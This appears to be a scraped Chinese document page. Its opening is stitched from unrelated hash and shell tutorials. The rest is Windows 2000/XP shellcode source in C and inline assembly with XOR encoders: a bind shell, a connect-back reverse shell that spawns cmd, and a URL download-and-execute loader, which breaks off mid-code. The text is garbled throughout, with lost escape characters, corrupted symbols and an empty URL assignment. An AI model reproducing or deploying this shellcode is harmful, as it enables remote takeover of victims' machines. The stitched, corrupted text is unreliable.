利用hash值取得函数地址的connect back shellcode
- 格式:pdf
- 大小:41.94 KB
- 文档页数:10
Hash原理和实现方式1. 介绍Hash(哈希)是一种将任意长度的输入数据转换为固定长度输出的算法。
该算法通过将输入数据映射到一个固定大小的哈希值来实现。
哈希函数通常用于数据完整性校验、密码学以及数据索引等领域。
本文将详细解释Hash的基本原理和实现方式,并介绍一些常见的Hash算法。
2. Hash函数基本原理Hash函数是Hash算法的核心组成部分,它接受任意长度的输入数据,并生成一个固定长度的哈希值。
2.1 确定性Hash函数应该是确定性的,即对于相同的输入数据,始终生成相同的哈希值。
这样可以保证在相同条件下产生相同结果,便于验证和比较。
2.2 均匀性理想情况下,Hash函数应该能够将不同的输入数据均匀地映射到不同的哈希值上。
这样可以最大程度地避免冲突,提高哈希表等数据结构的效率。
2.3 不可逆性Hash函数应该是不可逆的,即从哈希值无法推导出原始输入数据。
这样可以保护敏感信息和密码等重要数据的安全。
2.4 固定长度Hash函数应该生成固定长度的哈希值,无论输入数据的长度如何。
这样可以方便存储和比较哈希值。
3. Hash算法实现方式Hash算法有多种实现方式,下面介绍几种常见的实现方式。
3.1 分组Hash算法分组Hash算法将输入数据分成多个固定大小的块,然后对每个块进行处理,并生成最终的哈希值。
3.1.1 MD5(Message Digest Algorithm 5)MD5是一种广泛使用的分组Hash算法,它接受任意长度的输入数据,并生成一个128位(16字节)的哈希值。
MD5主要用于数据完整性校验和密码存储等领域。
然而,由于其安全性较低和易受到碰撞攻击,已经不再推荐使用。
3.1.2 SHA-1(Secure Hash Algorithm 1)SHA-1是一种与MD5类似的分组Hash算法,它接受任意长度的输入数据,并生成一个160位(20字节)的哈希值。
SHA-1在密码学领域中仍然广泛使用,但也存在安全性问题。
C语言Hash用法什么是Hash函数在计算机科学中,Hash函数是一种将数据映射到固定大小值的函数。
Hash函数将输入数据(也称为键)映射到一个较小的固定大小的值(也称为哈希值或散列值)。
这个哈希值通常用于快速查找数据结构中的键,例如哈希表。
Hash函数的输出被称为哈希码或散列码。
Hash函数的设计要求是保证输入数据相同,输出的哈希值也相同,而输入数据不同,输出的哈希值也不同。
此外,好的Hash函数应该尽量避免碰撞,即不同的输入数据映射到相同的哈希值。
C语言中的Hash函数在C语言中,没有内置的Hash函数,但我们可以使用一些常见的算法来实现自己的Hash函数。
以下是一些常用的Hash函数算法:1. 直接寻址法直接寻址法是最简单的Hash函数实现方法之一。
它将键直接用作哈希值,即哈希值等于键本身。
这种方法适用于键与哈希表大小相等的情况,但在键的范围很大时不太实用。
unsigned int direct_addressing_hash(int key) {return key;}2. 数字分析法数字分析法是一种根据键的某些特定数字特征来计算哈希值的方法。
例如,如果键是一个电话号码,我们可以用电话号码的前几位数字作为哈希值。
unsigned int digit_analysis_hash(int key) {// 获取键的前几位数字unsigned int hash = 0;while (key > 0) {hash = key % 10;key /= 10;}return hash;}3. 除留余数法除留余数法是一种常用的Hash函数实现方法。
它将键除以哈希表的大小,然后取余数作为哈希值。
unsigned int division_remainder_hash(int key, unsigned int table_size) { return key % table_size;}4. 平方取中法平方取中法是一种将键的平方值的中间几位作为哈希值的方法。
c语言hash用法-回复C语言中的哈希方法及其用法哈希是一种常用的数据结构,它能够快速地在大量数据中进行查找、插入和删除操作。
在C语言中,哈希函数及其用法被广泛地应用于各种应用程序和算法中。
本文将一步一步地介绍C语言中哈希的原理及其用法,并且给出一些常见的哈希函数实现。
第一步:什么是哈希函数?哈希函数是一种将不同的输入映射为固定大小的输出的函数。
它使用哈希算法对输入进行处理,并返回一个唯一的哈希值。
这个哈希值通常用于快速地查找数据结构中的元素。
第二步:哈希函数的设计原则一个好的哈希函数应该具备以下几个特点:1. 一致性:对于相同的输入,哈希函数应该返回相同的输出。
2. 高效性:计算哈希时需要尽量避免复杂的计算操作,以提高效率。
3. 均匀性:哈希函数应该将输入均匀地映射为输出,避免发生冲突。
4. 扩展性:当数据量增加时,哈希函数应该具备良好的扩展性,避免发生性能瓶颈。
第三步:哈希函数的实现在C语言中,可以使用不同的算法来实现哈希函数。
下面介绍几种常见的哈希函数实现方法:1. 直接寻址法直接寻址法是一种简单的哈希函数实现方法。
它直接将关键字作为数组的下标,返回对应的值。
这种方法适用于关键字比较小的情况。
2. 取余法取余法是一种常见的哈希函数实现方法。
它通过对关键字进行取余运算,将结果作为哈希值返回。
这种方法适用于关键字分布较为均匀的情况。
3. 乘法哈希法乘法哈希法是一种通过乘法运算实现的哈希函数。
它将关键字与一个大的质数相乘,然后取结果的整数部分作为哈希值返回。
这种方法适用于关键字分布不均匀的情况。
4. 随机数法随机数法是一种使用随机数生成器来实现哈希函数的方法。
它通过生成一个随机数作为哈希值,将关键字映射到哈希值的范围内。
这种方法适用于关键字分布非常不均匀的情况。
第四步:哈希表的应用在C语言中,哈希函数主要被用于实现哈希表。
哈希表是一种以键值对形式存储数据的数据结构,通过哈希函数将键映射为内存地址,然后将值存储在对应的地址中。
shell函数(调⽤、返回值,返回值获取)Shell函数返回值,常⽤的两种⽅式:return,echo1) return 语句shell函数的返回值,可以和其他语⾔的返回值⼀样,通过return语句返回。
⽰例1:[devadmin@swarm1 pos-gateway]$[devadmin@swarm1 pos-gateway]$[devadmin@swarm1 pos-gateway]$ #!/bin/sh[devadmin@swarm1 pos-gateway]$ function mytest()> {> echo"arg1 = $1"> if [ $1 = "1" ] ;then> return 'ret1'> else> return 'ret0'> fi> }[devadmin@swarm1 pos-gateway]$ mytest 1arg1 = 1-bash: return: ret1: numeric argument required[devadmin@swarm1 pos-gateway]$“numeric argument required”错误:Shell 函数返回值只能是整形数值,⼀般是⽤来表⽰函数执⾏成功与否的,0表⽰成功,其他值表⽰失败。
因⽽⽤函数返回值来返回函数执⾏结果是不合适的。
如果要硬⽣⽣地return某个计算结果,⽐如⼀个字符串,往往会得到错误提⽰:“numericargument required”。
如果⼀定要让函数返回⼀个或多个值,可以定义全局变量,函数将计算结果赋给全局变量,然后脚本中其他地⽅通过访问全局变量,就可以获得那个函数“返回”的⼀个或多个执⾏结果了。
重新修改下⽰例2:[devadmin@swarm1 pos-gateway]$ function mytest() { echo"arg1 = $1" ; if [ $1 = "1" ] ;then return 100; else return 200; fi ; } [devadmin@swarm1 pos-gateway]$[devadmin@swarm1 pos-gateway]$[devadmin@swarm1 pos-gateway]$ mytest 1arg1 = 1[devadmin@swarm1 pos-gateway]$ echo $?100[devadmin@swarm1 pos-gateway]$ mytest 2arg1 = 2[devadmin@swarm1 pos-gateway]$ echo $?200[devadmin@swarm1 pos-gateway]$⽰例3:[devadmin@swarm1 pos-gateway]$ if mytest 1; then> echo"mytest 1"> fiarg1 = 1[devadmin@swarm1 pos-gateway]$说明:先定义了⼀个函数mytest,根据它输⼊的参数是否为1来return 100或者return 200。
使用shell实现java的hashcode方法使用s h e l l实现J a v a的h a s h C o d e方法在J a v a中,h a s h C o d e方法是O b j e c t类中的一个方法,用于返回对象的哈希码。
哈希码是根据对象内部的状态、属性等计算得出的一个整数值,用于快速定位和比较对象。
默认情况下,h a s h C o d e方法返回的是对象的内存地址的整数表示。
然而,实际上我们可以根据实际需求来重写h a s h C o d e方法,以实现更好的哈希算法。
在本文中,我们将探讨如何使用s h e l l脚本来实现J a v a的h a s h C o d e方法。
我们将以实现一个简单的字符串h a s h C o d e算法为例。
步骤一:创建一个s h e l l脚本文件首先,我们需要创建一个新的s h e l l脚本文件。
可以使用任何文本编辑器,如记事本、V i编辑器等。
假设我们将文件命名为h a s h c o d e.s h。
步骤二:定义输入参数在创建的s h e l l脚本文件中,我们需要定义一个输入参数,即待计算哈希码的字符串。
我们可以使用s h e l l脚本的特殊变量1来获取用户输入的第一个参数。
在脚本文件中,可以通过以下方式获取输入的字符串:获取输入参数i n p u t_s t r i n g=1步骤三:计算字符串长度下一步,我们需要计算待计算字符串的长度。
可以使用s h e l l脚本的内置函数`e x p r l e n g t hi n p u t_s t r i n g`来获取待计算字符串的长度。
在脚本文件中,可以通过以下方式来计算字符串长度:计算字符串长度i n p u t_l e n g t h=`e x p r l e n g t h i n p u t_s t r i n g`步骤四:计算哈希值完成了前面的准备工作后,我们可以开始计算哈希值了。
hash传递原理哈希传递(也称哈希传递或哈希函数)是一种将任意长度的数据映射为固定长度数据的技术。
其主要目的是将一个任意大小的数据集映射到一个较小的、固定长度的数据集上。
由于哈希函数不可逆,因此哈希传递被广泛应用于密码学、数据完整性校验以及数据搜索等领域。
一、哈希函数的基本原理哈希函数通常采用一种“压缩”的方式将数据映射到一个固定长度的哈希值上。
具体来说,哈希函数接收输入数据并经过一系列操作后输出一个固定长度的哈希值。
这个哈希值具有以下几个特点:- 对于每一个不同的输入,哈希函数都会得到一个唯一的哈希值;- 相同的输入在经过哈希函数之后会得到相同的哈希值;- 哈希函数是单向的,即从哈希值无法推导出原始输入数据。
常见的哈希函数有MD5、SHA1、SHA256等。
它们都采用了不同的哈希算法,在输入数据上进行相应的转换和运算,最终得到固定长度的哈希值。
二、哈希传递的应用哈希传递在实际应用中有多种用途,下面介绍其中几个重要应用场景。
1. 数据完整性校验通过哈希传递可以轻松地校验数据的完整性。
具体来说,发送方将原始数据计算出哈希值,然后将该哈希值随原始数据一起发送给接收方。
接收方在接收到数据后同样计算出哈希值,然后将计算得到的哈希值与发送方发送的哈希值进行比较。
如果两个哈希值相同,则表明数据没有被篡改过;否则,表明数据存在被篡改的风险。
2. 密码学在密码学中,哈希传递通常被用于密码加密和校验。
用户登录时,系统将用户输入的密码计算出哈希值,并将该哈希值和用户的用户名一起存储在系统中。
在用户下次登录时,系统再次对输入的密码进行哈希计算,并将计算得到的哈希值与之前存储的哈希值进行比较。
如果两个哈希值相同,则表明用户输入的密码正确,否则登录失败。
由于哈希函数是单向的,即无法从哈希值推算出密码,因此可以很好地保护用户密码的安全。
3. 数据搜索在搜索引擎中,哈希传递被广泛应用于快速搜索数据。
具体来说,搜索引擎会对数据集中的每一项数据进行哈希计算,并将这些哈希值存储到一个哈希表中。
shell 调用函数并获取返回值Shell 是一种脚本语言,可以通过调用函数来实现一些特定的功能。
在Shell 中,函数可以返回一个值,这个值可以被其他部分使用。
本文将介绍如何在 Shell 中调用函数并获取返回值。
一、定义函数在 Shell 中定义函数非常简单,只需要使用以下语法:```function_name() {# function bodyreturn value}```其中,function_name 是函数的名称,function body 是函数的主体部分,return value 是函数的返回值。
如果函数不需要返回值,则可以省略 return value。
例如,下面是一个简单的函数,用于计算两个数的和:```add() {sum=$(($1 + $2))return $sum}```这个函数接受两个参数,将它们相加,并将结果存储在变量 sum 中。
然后,使用 return 命令将 sum 作为函数的返回值。
二、调用函数在 Shell 中调用函数也很简单,只需要使用以下语法:```function_name arguments```其中,function_name 是函数的名称,arguments 是传递给函数的参数。
如果函数需要返回值,则可以使用以下语法:```result=$(function_name arguments)```其中,result 是变量的名称,用于存储函数的返回值。
例如,下面是一个调用 add 函数的示例:```result=$(add 2 3)echo $result```这个示例将 2 和 3 作为参数传递给 add 函数,并将返回值存储在变量result 中。
然后,使用 echo 命令输出 result 的值。
三、完整示例下面是一个完整的示例,用于计算两个数的平均值:```#!/bin/bashaverage() {sum=$(($1 + $2))avg=$(($sum / 2))return $avg}result=$(average 2 3)echo "The average is: $result"```这个示例定义了一个名为average 的函数,用于计算两个数的平均值。
一种提取shellcode的方法-电脑资料作者:*****************bind port shellcode for win2k/xp#include#include#include#pragma comment(lib, "ws2_32")void printsc(unsigned char *sc, int len); unsigned char sc[0x1000];unsigned char buff[]= "GetProcAddressx0"// ----- 3 -----"CreateProcessAx0" // [edi-0x20] "ExitThreadx0" // [edi-0x1c]// "ExitProcessx0" // [edi-0x1c] "LoadLibraryAx0" // [edi-0x18]// -------------"ws2_32x0"// ----- 5 -----"WSASocketAx0" // [edi-0x14]"bindx0" // [edi-0x10]"listenx0" // [edi-0x0c]"acceptx0" // [edi-0x08]"closesocketx0"; // [edi-0x04]DWORD addr;void shellcode();void main(){unsigned char temp;unsigned char *shellcodefnadd, *start;int k;char *fnendstr = "x90x90x90x90x90x90x90x90x90";#define FNENDLONG 0x08WSADATA wsa;int all, i;//int port = 53;WSAStartup(MAKEWORD(2,2),&wsa);memset(sc, 0, sizeof(sc));// 定位shellcodefnlock的汇编代码shellcodefnadd = (unsigned char *)shellcode;temp = *shellcodefnadd;if(temp == 0xe9){++shellcodefnadd;k=*(int *)shellcodefnadd;shellcodefnadd+=k;shellcodefnadd+=4;}// 定位shellcode的起始地址for(k=0; k <= 0x500; ++k){if(memcmp(shellcodefnadd+k, fnendstr, FNENDLONG)==0) break;}// shellcodefnadd+k+8 是得到的shellcodefnlock汇编代码地址start = shellcodefnadd+k+8;// 定位 shellcode 长度for(k=0; k <= 0x500; ++k){if(memcmp(start+k, fnendstr, FNENDLONG) == 0) break;}//printf("%xn", htons(port));all = k + sizeof(buff) - 1;printf("%d + %d = %dn", k, sizeof(buff), all);memcpy(sc, start, k);memcpy(&sc[k],buff, sizeof(buff));addr = (DWORD)≻for(k=0; k <= all-3; ++k){if(sc[k] == 0x00 && sc[k+1] == 0x35) printf("port offset: %drn", k);if(sc[k] == 0x7F && sc[k+3] == 0x01) printf("ip offset: %drnn", k);}k = all - 23;memcpy(sc+8, &k, 2);// ================== print ======================// decode 长度为23字节printsc (sc, 23);// xorfor(i=23; i < all; i++){sc ^= 0x99;}printsc(sc+23, k);__asm{jmp addr}// shellcode();Sleep(10000);return;}void printsc(unsigned char *sc, int len) {int l;// 打印普通shellcodefor(l = 0; l < len; l++){if(l == 0) printf(""");if((l%16 == 0) && (l != 0))printf(""n""); printf("\\x%.2X", sc[l]);if(l == len-1) printf(""");}printf("nn");/*// 打印 iis unicode shellcodefor(l = 0; l < len; l += 2){if(l == 0) printf(""");if((l%16 == 0) && (l != 0))printf(""n""); printf("%%u%.2X%.2X", sc[l+1], sc[l]); if(l == len-2) printf(""");}*/}void shellcode(){__asm{nopnopnopnopnopnopnopnop}__asm{/* --------------------解码开始---------------------- */jmp decode_enddecode_start:pop edx // 得到解码开始位置 esp -> edxdec edxxor ecx,ecxmov cx,0x17D // shellcode 长度0x175+1 = 0x176 = 373 bytesdecode_loop:xor byte ptr [edx+ecx], 0x99loop decode_loopjmp decode_okdecode_end:call decode_startdecode_ok:/* --------------------解码结束---------------------- */jmp endstart:pop edx // 指令表起始地址存放在 esp -> edx// ===== 从 PEB 中取得KERNEL32.DLL的起始地址 ===== //// 输入:// edx => 指令表起始地址 (不需要)//// 输出:// eax => kernel32.dll起始地址// edx => 指令表起始地址mov eax, fs:0x30 // PEBmov eax, [eax + 0x0c] // PROCESS_MODULE_INFOmov esi, [eax + 0x1c] // InInitOrder.flinklodsdmov eax,[eax+8]// ========== 定位GetProcAddress的地址==========//// 输入:// eax => kernel32.dll起始地址// edx => 指令表起始地址//// 输出:// ebx => kernel32.dll起始地址// eax => GetProcAddress地址// edx => 指令表起始地址mov ebx,eax // 取kernel32.dll的起始地址mov esi,dword ptr [ebx+0x3C]mov esi,dword ptr [esi+ebx+0x78]mov edi,dword ptr [esi+0x20]add edi,ebxmov ecx,dword ptr [esi+0x14]xor ebp,ebppush esisearch_GetProcAddress:push edipush ecxmov edi,dword ptr [edi]add edi,ebx // 把输出函数名表起始地址存人edi mov esi,edx // 指令表起始地址存入esi//mov ecx,0Eh // 函数getprocAddress长度为0Eh push 0xEpop ecxrepe cmps byte ptr [esi],byte ptr [edi]je search_GetProcAddress_okpop ecxpop ediadd edi,4inc ebploop search_GetProcAddresssearch_GetProcAddress_ok:pop ecxpop edipop esimov ecx,ebpmov eax,dword ptr [esi+24h]add eax,ebxshl ecx,1xor ecx,ecxmov cx,word ptr [eax]mov eax,dword ptr [esi+1Ch]add eax,ebxshl ecx,2add eax,ecxmov eax,dword ptr [eax]add eax,ebx// ============ 调用函数解决api地址============//// 输入:// ebx =>kernel32.dll起始地址// eax =>GetProcAddress地址// edx =>指令表起始地址//// 输出:// edi =>函数地址base addr// esi =>指令表当前位置// edx =>GetProcAddress 地址mov edi,edxmov esi,ediadd esi,0xE // 0xE 跳过1个字符串"GtProcAddress"// ============ 解决kernel32.dll中的函数地址============mov edx,eax // 把GetProcAddress 地址存放在edxpush 3 // 需要解决的函数地址的个数硬编码可以节省两个字节pop ecxcall locator_api_addr// ============ 加载ws2_32.dll ============//locator_ws2_32:add esi,0xd // 0xd即"ws2_32"前面那个字符串的长度,硬编码可以节省两个字节push edx // edx是GetProcAddress 地址push esi // 字符"ws2_32"地址call dword ptr [edi-4] // LoadLibraryA// ============ 解决ws2_32中的函数地址============pop edxmov ebx,eax // 将ws2_32.dll起始地址存放在ebx//mov ecx,4push 5 // 函数个数pop ecx // 函数个数 <-这种方式省两个字节call locator_api_addr// ============ create socket ============push eaxpush eaxpush eaxpush eax // IPPROTO_IP 0push 1 // SOCK_STREAMpush 2 // AF_INETcall dword ptr [edi-0x14] // WSASocketAmov ebx,eax // socket保存在ebx// ============ 填充sockaddr_in结构============mov dword ptr [edi],0x35000002 // 2= AF_INET 0x35 = 53 xor eax, eaxmov dword ptr [edi+4], eax // ADDR_ANY// ============ bind ============push 0x10 // sizeof(sockaddr_in)push edi // sockaddr_in addresspush ebx // socketcall dword ptr [edi-0x10] // bind(socket, &address, sizof(address));// ============ listen ============push 0x1 // 1push ebx // socketcall dword ptr [edi-0xc] // listen(socket, 1);// ============ accept ============push eax // 0push eax // 0push ebx // socketcall dword ptr [edi-0x8] // accept(socket, &address, sizeof(address));mov edx,eax// ============ ============sub esp,0x44mov esi,esp // 取si的起始地址xor eax, eaxpush 0x10 // 0x11 * 4 = 0x44 bytespop ecxzero_si:mov dword ptr [esi+ecx*4],eaxloop zero_si// ============ fill si struct,si存放在stack中============mov dword ptr [esi+0x38],edx // si.hStdInput soskcetmov dword ptr [esi+0x3C],edx // hStdOutput soscketmov dword ptr [esi+0x40],edx // hStdError socket//mov word ptr [esi+0x30],0 // wShowWindowmov word ptr [esi+0x2c],0x101 // dwFlags// ============ CreateProcessA ============lea eax, dword ptr [edi+0x10]push eax // pipush esi // sixor ecx, ecxpush ecx // lpCurrentDirectorypush ecx // lpEnvironmentpush ecx // dwCreationFlagspush 1 // bInheritHandlespush ecx // lpThreadAttributespush ecx // lpProcessAttributesmov dword ptr [edi+0x3C], 0x00646D63// 0x63='c' 0x6d='m' 0x64='d'lea eax, dword ptr [edi+0x3C]push eax // lpCommandLinepush ecx // lpApplicationName NULLcall dword ptr [edi-0x20] // CreateProcessA// ============ If no error occurs, connect returns zero. ===========// closesocketpush edxcall dword ptr [edi-0x4]// closesocketpush ebxcall dword ptr [edi-0x4]// ExitProcesspush eaxcall dword ptr [edi-0x1c] // ExitProcess// ============ 解决api地址的函数 ============ //// 输入参数:// ecx 函数个数// edx GetProcAddress 地址// ebx 输出函数的dll起始地址// esi 函数名表起始地址// edi 保存函数地址的起始地址locator_api_addr:locator_space:xor eax, eaxlodsbtest eax, eax // 寻找函数名之间的空格x00jne locator_spacepush ecxpush edxpush esi // 函数名push ebx // 输出函数的dll起始地址call edxpop edxpop ecxstos dword ptr [edi]loop locator_spacexor eax, eaxret// ================== 结束调用====================end:call start}__asm{nopnopnopnopnopnopnopnop}return;}connect back shellcode for win2k/xp #include#include#include#pragma comment(lib, "ws2_32") void printsc(unsigned char *sc, int len); unsigned char sc[0x1000];unsigned char buff[]= "GetProcAddressx0"// ----- 3 ----- "CreateProcessAx0" // [edi-0x18] "ExitThreadx0" // [edi-0x14]// "ExitProcessx0" // [edi-0x14] "LoadLibraryAx0" // [edi-0x10]// -------------"ws2_32x0"// ----- 3 -----"WSASocketAx0" // [edi-0x0c]"connectx0" // [edi-0x08]"closesocketx0"; // [edi-0x04]DWORD addr;void shellcode();void main(){unsigned char temp;unsigned char *shellcodefnadd, *start;int k;char *fnendstr = "x90x90x90x90x90x90x90x90x90";#define FNENDLONG 0x08WSADATA wsa;int all, i;WSAStartup(MAKEWORD(2,2),&wsa);memset(sc, 0, sizeof(sc));// 定位shellcodefnlock的汇编代码shellcodefnadd = shellcode;temp = *shellcodefnadd;if(temp == 0xe9){++shellcodefnadd;k=*(int *)shellcodefnadd;shellcodefnadd+=k;shellcodefnadd+=4;}// 定位shellcode的起始地址for(k=0; k <= 0x500; ++k){if(memcmp(shellcodefnadd+k, fnendstr, FNENDLONG)==0)break;}// shellcodefnadd+k+8 是得到的shellcodefnlock汇编代码地址start = shellcodefnadd+k+8;// 定位 shellcode 长度for(k=0; k <= 0x500; ++k){if(memcmp(start+k, fnendstr, FNENDLONG) == 0) break;}//printf("%xn", htons(port));all = k + sizeof(buff) - 1;printf("%d + %d = %dn", k, sizeof(buff), all);memcpy(sc, start, k);memcpy(&sc[k],buff, sizeof(buff));addr = (DWORD)≻for(k=0; k <= all-3; ++k){if(sc[k] == 0x00 && sc[k+1] == 0x35) printf("port offset: %drn", k);if(sc[k] == 0x7F && sc[k+3] == 0x01) printf("ip offset: %drnn", k);}k = all - 23;memcpy(sc+8, &k, 2);// ================== print ======================// decode 长度为23字节printsc (sc, 23);// xorfor(i=23; i < all; i++){sc ^= 0x99;}printsc(sc+23, k);__asm{jmp addr}return;}void printsc(unsigned char *sc, int len) {int l;// 打印普通shellcodefor(l = 0; l < len; l++){if(l == 0) printf(""");if((l%16 == 0) && (l != 0))printf(""n""); printf("\\x%.2X", sc[l]);if(l == len-1) printf(""");}printf("nn");/*// 打印 iis unicode shellcodefor(l = 0; l < len; l += 2){if(l == 0) printf(""");if((l%16 == 0) && (l != 0))printf(""n""); printf("%%u%.2X%.2X", sc[l+1], sc[l]);if(l == len-2) printf(""");}*/}void shellcode(){__asm{nopnopnopnopnopnopnopnop}__asm{/* --------------------解码开始---------------------- */ jmp decode_enddecode_start:pop edx // 得到解码开始位置 esp -> edxdec edxxor ecx,ecxmov cx,0x15D // 要解码shellcode长度decode_loop:xor byte ptr [edx+ecx], 0x99loop decode_loopjp decode_okdecode_end:call decode_startdecode_ok:/* --------------------解码结束---------------------- */jmp endstart:pop edx // 指令表起始地址存放在 esp -> edx// ===== 从 PEB 中取得KERNEL32.DLL的起始地址 ===== //// 输入:// edx => 指令表起始地址 (不需要)//// 输出:// eax => kernel32.dll起始地址// edx => 指令表起始地址mov eax, fs:0x30 // PEBmov eax, [eax + 0x0c] // PROCESS_MODULE_INFOmov esi, [eax + 0x1c] // InInitOrder.flinklodsdmov eax,[eax+8]// ========== 定位GetProcAddress的地址==========//// 输入:// eax => kernel32.dll起始地址// edx => 指令表起始地址//// 输出:// ebx => kernel32.dll起始地址// eax => GetProcAddress地址// edx => 指令表起始地址mov ebx,eax // 取kernel32.dll的起始地址 DLL Base Address mov esi,dword ptr [ebx+3Ch] // esi = PE header offsetmov esi,dword ptr [esi+ebx+78h]add esi,ebx // esi = exports directory tablemov edi,dword ptr [esi+20h]add edi,ebx // edi = name pointers tablemov ecx,dword ptr [esi+14h] // ecx = number of name pointersxor ebp,ebppush esisearch_GetProcAddress:push edipush ecxmov edi,dword ptr [edi]add edi,ebx // 把输出函数名表起始地址存人edimov esi,edx // 指令表起始地址存入esi//mov ecx,0Eh // 函数getprocAddress长度为0Ehpush 0xEpop ecxrepe cmps byte ptr [esi],byte ptr [edi]je search_GetProcAddress_okpop ecxpop ediadd edi,4inc ebploop search_GetProcAddresssearch_GetProcAddress_ok:pop ecxpop edipop esimov ecx,ebpmov eax,dword ptr [esi+24h]add eax,ebxshl ecx,1add eax,ecxxor ecx,ecxmov cx,word ptr [eax]mov eax,dword ptr [esi+1Ch]add eax,ebxshl ecx,2add eax,ecxmov eax,dword ptr [eax]add eax,ebx// ============ 调用函数解决api地址============//// 输入:// ebx =>kernel32.dll起始地址// eax =>GetProcAddress地址// edx =>指令表起始地址//// 输出:// edi =>函数地址base addr// esi =>指令表当前位置// edx =>GetProcAddress 地址mov edi,edxmov esi,ediadd esi,0xE // 0xE 跳过1个字符串"GetProcAddress"// ============ 解决kernel32.dll中的函数地址============mov edx,eax // 把GetProcAddress 地址存放在edx//mov ecx,0x5 // 需要解决的函数地址的个数push 0x3pop ecxcall locator_api_addr// ============ 加载ws2_32.dll ============//locator_ws2_32://xor eax,eax // locator_api_addr返回后eax为0//lods ////test eax,eax // ->定位字符串"ws2_32"的起始地址//jne locator_ws2_32 //add esi,0xd // 0xd即"ws2_32"前面那个字符串的长度,// 硬编码可以节省两个字节push edx // edx是GetProcAddress 地址push esi // 字符"ws2_32"地址call dword ptr [edi-4] // LoadLibraryA// ============ 解决ws2_32中的函数地址============pop edxmov ebx,eax // 将ws2_32.dll起始地址存放在ebx//mov ecx,4 // 函数个数push 3pop ecx // 函数个数 <-这种方式省两个字节call locator_api_addr// ============ ============//xor eax,eax // locator_api_addr返回后eax为0//init sisub esp,0x44mov esi,esp // 取si的起始地址push 0x10 // 0x11 * 4 = 0x44 bytespop ecxzero_si:mov dword ptr [esi+ecx*4],eaxloop zero_si// ============ create socket ============push eaxpush eaxpush eaxpush eax // IPPROTO_IP 0push 1 // SOCK_STREAMpush 2 // AF_INETcall dword ptr [edi-0xc] // WSASocketmov ebx,eax // socket保存在ebx// ============ fill si struct,si存放在stack中============mov dword ptr [esi+0x38],ebx // si.hStdInput soskcetmov dword ptr [esi+0x3C],ebx // hStdOutput soscketmov dword ptr [esi+0x40],ebx // hStdError socket//mov word ptr [esi+0x30],0 // wShowWindowmov word ptr [esi+0x2c],0x101 // dwFlags// ============ CreateProcessA ============lea eax,[edi+0x10]push eax // pipush esi // sixor eax,eaxpush eax // lpCurrentDirectorypush eax // lpEnvironmentpush eax // dwCreationFlagspush 1 // bInheritHandlespush eax // lpThreadAttributespush eax // lpProcessAttributeslea edx,[edi+0x3c]mov dword ptr [edx], 0x00646D63 // 0x63='c' 0x6d='m' 0x64='d'push edx // lpCommandLinepush eax // lpApplicationName NULLcall dword ptr [edi-0x18] // CreateProcessA// ============ 填充sockaddr_in结构============mov dword ptr [edi],0x35000002 // 2= AF_INET 0x35 = 53 mov dword ptr [edi+0x4],0x0100007F // ip addr,default is 127.0.0.1// ============ connect back ============push 0x10 // sizeof(sockaddr_in)//lea eax,[edi]//push eax // sockaddr_in addresspush edi // sockaddr_in addresspush ebx // socketcall dword ptr [edi-0x8] // connect// ============ If no error occurs, connect returns zero. ============// closesocketpush ebxcall dword ptr [edi-0x4]// ExitProcesspush eaxcall dword ptr [edi-0x14] // ExitProcess// ============ 解决api地址的函数 ============ //// 输入参数:// ecx 函数个数// edx GetProcAddress 地址// ebx 输出函数的dll起始地址// esi 函数名表起始地址// edi 保存函数地址的起始地址locator_api_addr:locator_space:xor eax,eaxlodsbtest eax,eax // 寻找函数名之间的空格x00jne locator_spacepush ecxpush edxpush esi // 函数名push ebx // 输出函数的dll起始地址call edxpop edxpop ecxstos dword ptr [edi]loop locator_spacexor eax,eaxret// ================== 结束调用====================end:call start}__asm{nopnopnopnopnopnopnopnop}return;}download url file shellcode for win2k/xp #include#includevoid printsc(unsigned char *sc, int len); unsigned char sc[0x1000];unsigned char buff[]= "GetProcAddressx0"// ----- 4 ----- "GetSystemDirectoryAx0" // [edi-0x14] "WinExecx0" // [edi-0x10] "ExitThreadx0" // [edi-0x0c]// "ExitProcessx0" // [edi-0x0c] "LoadLibraryAx0" // [edi-0x08]// -------------"urlmonx0"// ----- 1 ----- "URLDownloadToFileAx0"; // [edi-0x04] unsigned char url[]=DWORD addr;void shellcode();void main(){unsigned char temp;unsigned char *shellcodefnadd, *start;int k;char *fnendstr = "x90x90x90x90x90x90x90x90x90";#define FNENDLONG 0x08int all, i;memset(sc, 0, sizeof(sc));// 定位shellcodefnlock的汇编代码shellcodefnadd = shellcode;temp = *shellcodefnadd;if(temp == 0xe9){++shellcodefnadd;k=*(int *)shellcodefnadd;shellcodefnadd+=k;shellcodefnadd+=4;}// 定位shellcode的起始地址for(k=0; k <= 0x500; ++k){if(memcmp(shellcodefnadd+k, fnendstr, FNENDLONG)==0) break;}// shellcodefnadd+k+8 是得到的shellcodefnlock汇编代码址start = shellcodefnadd+k+8;// 定位 shellcode 长度for(k=0; k <= 0x500; ++k){if(memcmp(start+k, fnendstr, FNENDLONG) == 0) break;}// printf("%xn", htons(port));all = k + sizeof(buff)-1 + sizeof(url);printf("%d + %d + %d = %dn", k, sizeof(buff)-1, sizeof(url), all);i = k-23+sizeof(buff)-1;printf("解包大小: %d + %d = %d = %Xn", k-23, sizeof(buff-1), i, i);memcpy(sc, start, k);memcpy(&sc[k], buff, sizeof(buff)-1);memcpy(&sc[k+sizeof(buff)-1], url, sizeof(url));addr = (DWORD)≻memcpy(sc+8, &i, 2);// ================== print ======================// decode 长度为23字节printsc (sc, 23);// xorfor(i=23; i < k+sizeof(buff)-1; i++){sc ^= 0x99;}printsc(sc+23, k-23);printsc(sc+k, sizeof(buff)-1);printsc(sc+k+sizeof(buff)-1, sizeof(url));// printsc(sc, k);// printsc(buff, sizeof(buff)-1);// printsc(url, sizeof(url));// printf("n%sn", url);__asm{jmp addr}return;}void printsc(unsigned char *sc, int len) {int l;// 打印普通shellcodefor(l = 0; l < len; l++){if(l == 0) printf(""");if((l%16 == 0) && (l != 0))printf(""n""); printf("\\x%.2X", sc[l]);if(l == len-1) printf(""");}printf("nn");/*// 打印 iis unicode shellcodefor(l = 0; l < len; l += 2){if(l == 0) printf(""");if((l%16 == 0) && (l != 0))printf(""n""); printf("%%u%.2X%.2X", sc[l+1], sc[l]); if(l == len-2) printf(""");}*/}void shellcode(){__asm{nopnopnopnopnopnopnopnop}__asm{/* --------------------解码开始---------------------- */ jmp decode_enddecode_start:pop edx // 得到解码开始位置 esp -> edxdec edxxor ecx,ecxmov cx,0x13D // 要解码的长度decode_loop:xor byte ptr [edx+ecx], 0x99loop decode_loopjmp decode_okdecode_end:call decode_startdecode_ok:/* --------------------解码结束---------------------- */jmp 